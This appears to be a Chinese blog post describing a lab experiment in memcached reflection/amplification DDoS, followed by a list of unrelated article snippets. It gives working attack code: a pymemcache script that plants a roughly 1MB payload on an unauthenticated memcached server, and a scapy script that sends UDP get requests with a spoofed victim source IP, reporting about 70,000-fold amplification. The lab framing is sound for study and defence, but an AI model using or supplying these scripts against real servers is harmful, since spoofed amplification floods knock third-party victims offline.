memcached DRDOS攻击实验

news/2025/3/18 22:09:48/文章来源:https://www.cnblogs.com/hu1j/p/18779920

memcached DRDOS攻击实验

一、前提

关于drdos

DRDoS(Distributed Reflection Denial of Service) 指的是利用IP Spoofing技术,构造带有受害者IP的数据包,发送给肉鸡,然后肉鸡对受害者IP做出大量回应,造成拒绝服务。

关于memcached命令

第一个是上传有效载荷Memcached set 命令

Memcachedset 命令用于将 value(数据值) 存储在指定的 key(键) 中。

如果set的key已经存在,该命令可以更新该key所对应的原来的数据,也就是实现更新的作用

第二个反射有效载荷Memcached get 命令

Memcachedget 命令获取存储在 key(键) 中的 value(数据值) ,如果 key 不存在,则返回空。

关于攻击原理

TCP基于3次握手,如果源IP被伪造会停止通信,但是UDP因为面向无连接的,即使伪造IP也可以通信,服务器也无法验证源IP真实性,因此我们可以通过发送源地址为被攻击主机IP的数据包来将Memcached服务器返回的包发送给被攻击主机,从而达到反射攻击的目的。我们将使用TCP来上传我们的攻击载荷,使用UDP构造请求来发起攻击

关于攻击过程

drdos攻击的三个过程

1.攻击者,必须提前需要把攻击数据存放在所有的在线肉鸡或者反射服务器之上。

2.攻击者,必须伪造IP源头。发送海量伪造IP来源的请求。当然这里的IP就是受害者的IP地址。

3.反射服务器,必须可以反射数据,运行良好稳定。最好是请求数据少,返回数据成万倍增加。

二、实验环境

攻击机 kali,装有memcached的ubuntu肉鸡,受害机,这里是模拟,受害机ip可以随便写

Memcached drdos拓扑图

三、实验步骤

1.docker部署memcached

默认已经安装了docker,docker-compose,用docker起一个memcached环境,需要同时打开udp和tcp,-e表示配置memcached的环境变量,缓存大小设置为64M

docker run -d -p 11211:11211/tcp -p 11211:11211/udp -e MEMCACHED_MEMORY_LIMIT=64m -e MEMCACHED_TCP_PORT=11211 -e MEMCACHED_UDP_PORT=11211 --name memcache memcached:1.4.32

2.docker ps 查看容器状态

3.查看端口开放情况

netstat -anop | grep 11211 看到tcp和udp都有在监听连接,大抵是udp是面向无连接的,所以虽然没显示listen,但其实也在监听

4.测试无授权

memcached drdos攻击需要满足无授权,来测试一下是不是无授权

输入telnet 192.168.20.172 11211

然后输入stats,发现不用输入密码也能正常回显,无授权条件达成

5.编写set脚本

python安装pymemcache库

pip install pymemcache

然后编写脚本set大约1Mb数据到memcached,

创建并编辑drdos.py

from pymemcache.client.base import Client
import sysclient = Client(('192.168.20.172', 11211))   //装有memcached的ubuntu肉鸡ip
# set payload
key = 't'
data ='A'*1023*1023 + "B"
result = client.set('t', data)
if result:print "[*] payload set done!"
else:print "[!] payload set error!"

6.编写反射脚本

src为伪造的ip,这里为受害机,伪造是10.40.0.133发起的get t请求,memcached将会把数据反射给10.40.0.133

from scapy.all import *
from scapy import *
from scapy.layers.inet import IP, UDP
import sysfor i in range(int(sys.argv[1] )):data = "\x00\x00\x00\x00\x00\x01\x00\x00get t\r\n"package=IP(dst='192.168.20.155', src='10.40.0.133')/UDP(dport=11211,sport=2018)/datasend(package, count=1)print "[*] send %d times " % int(i+1)

7.分别运行set和反射脚本

python drdos.py

python drdos1.py 1 (数字为想要请求几次,这里就请求一次)

8.查看set结果

在刚刚telnet连接的界面

输入get t,看看有没有set成功

看到数据总共1046530字节

9.查看流量

在受害机wireshark抓取流量,这里选择捕获虚拟机网卡的流量,根据实际情况选择

过滤udp.port == 11211,可以看到伪造的15字节的udp get请求,看到源目的ip,确实是反射给了受害机,因为是udp,会分成多个包

随意选择一个,追踪udp流,看到整个udp包

10.计算放大比

我们在kali伪造请求数据data = "\x00\x00\x00\x00\x00\x01\x00\x00get t\r\n" 总共15字节,但memcached却给受害机反射了1046530字节

1046530/15约等于69768倍,也就是放大了将近7万倍,这还只是我们在一个机子上发送的一次请求

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/901142.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

USB分类

USB特点差分传输 差错管理 恢复机制协议标准左边是原标准,后面是新标准USB1.1:低速、全速 USB2.高速 USB3.0 8b/10b编码 增加一对超高速差分线 USB3.1 采用 128b/132b编码,速度提升一倍 USB3.2 增加一对超高速传输通道,速度再次翻倍,只在C口上运行速度等级1.5Mbps/12M/480M…

0318- Wifi模式选择,信道选择

前言 在设置 H3C 路由器的时候(管理地址居然不是192.168.0.1,而是 http://192.168.124.1/),我发现 有下面的3种设置无线模式 无线频宽 无线信道Wifi 模式选择 推荐 n-only 也就是 Wifi-4 及以上的协议模式 其他的都是古早协议了,如果家里没有那种老设备就完全不需要考虑兼容…

20244214 实验一《Python程序设计》实验报告

20244214 2024-2025-2 《Python程序设计》实验一报告 课程:《Python程序设计》 班级: 2442 姓名: 张家乐 学号:20244214 实验教师:王志强 实验日期:2025年3月18日 必修/选修: 公选课 1.实验内容 1.熟悉Python开发环境; 2.练习Python运行、调试技能; 3.编写程序,练…

日报2025318

今日学习Element-plus组件 首先供上我们的element plus 行为指导库 https://element-plus.org/zh-CN el-button<div><el-button color="rgb(247, 137.4, 137.4)" plain style="color: white" > Komeigi Satori</el-button></div>…

BP算法

反向传播算法,简称BP算法,是多层神经元网络常用的学习算法之一,它建立在梯度下降算法的基础上。BP算法的完整学习过程由正向传播过程和反向传播过程组成。反向传播的过程是利用梯度下降算法,最小化代价函数 的过程。假设使用如图2.1所示的神经网络,该网络有一个输出层、两…

基于GA遗传算法的拱桥静载试验车辆最优布载matlab仿真

1.程序功能描述 基于GA遗传算法的拱桥静载试验车辆最优布载matlab仿真。主要是为了实现桥梁静载试验自动化布载(确定车辆位置使得满足加载效率ηq的要求,0.95≤ηq≤1.05),总体要求是ηq尽量靠近1,所用的加载车辆尽量少,进行布载耗时越少越好。 2.测试软件版本以及运…

攻防世界 guess_num WriteUp

WriteUp 题目信息 来源:攻防世界 名称:guess_num 分类:Pwn 描述:菜鸡在玩一个猜数字的游戏,但他无论如何都银不了,你能帮助他么题目链接: https://adworld.xctf.org.cn/challenges/list解题思路 首先使用DIE对文件进行查壳,发现这是一个无壳的64位ELF文件。于是直接使用…

第一次结对项目

问题 内容这个作业属于哪个课程 班级的链接这个作业要求在哪里 作业要求的链接这个作业的目标 实现一个自动生成小学四则运算题目的命令行程序姓名 朱江学号 3123004770GitHub仓库文件夹链接 第一次编程作业链接姓名 杨思程学号 3123004761GitHub仓库文件夹链接 第一次编程作业…

使用 EchoAPI 实现 API 断言的全面指南

API 断言是 API 测试中的一个关键部分。通过执行 API 断言,您可以验证 API 响应数据的准确性,从而增强 API 的可靠性和稳定性。在本文中,我们将介绍 API 断言的基础知识,并演示如何通过用户友好的 API 测试工具 Apipost 来轻松执行响应断言。 什么是 API 断言?API 断言是指…

变量与执行

目录变量变量命名规则变量的类型变量的赋值python代码的执行 变量 Python 是一种动态类型语言,这意味着你不需要显式地声明变量的类型,Python 会根据你赋给变量的值自动推断其类型。 变量命名规则 1、字母、数字、下划线:变量名可以包含字母(a-z, A-Z)、数字(0-9)和下划…

结构化程序设计——系统设计思想(输入输出)

一、结构化程序设计概述 结构化程序设计(Structured Programming)是由计算机科学家 Edsger W. Dijkstra 于 20 世纪 60 年代提出的编程方法论。其核心思想是通过 顺序结构、选择结构 和 循环结构 三种基本控制结构,构建出逻辑清晰、易于理解和维护的程序。结构化程序设计强调…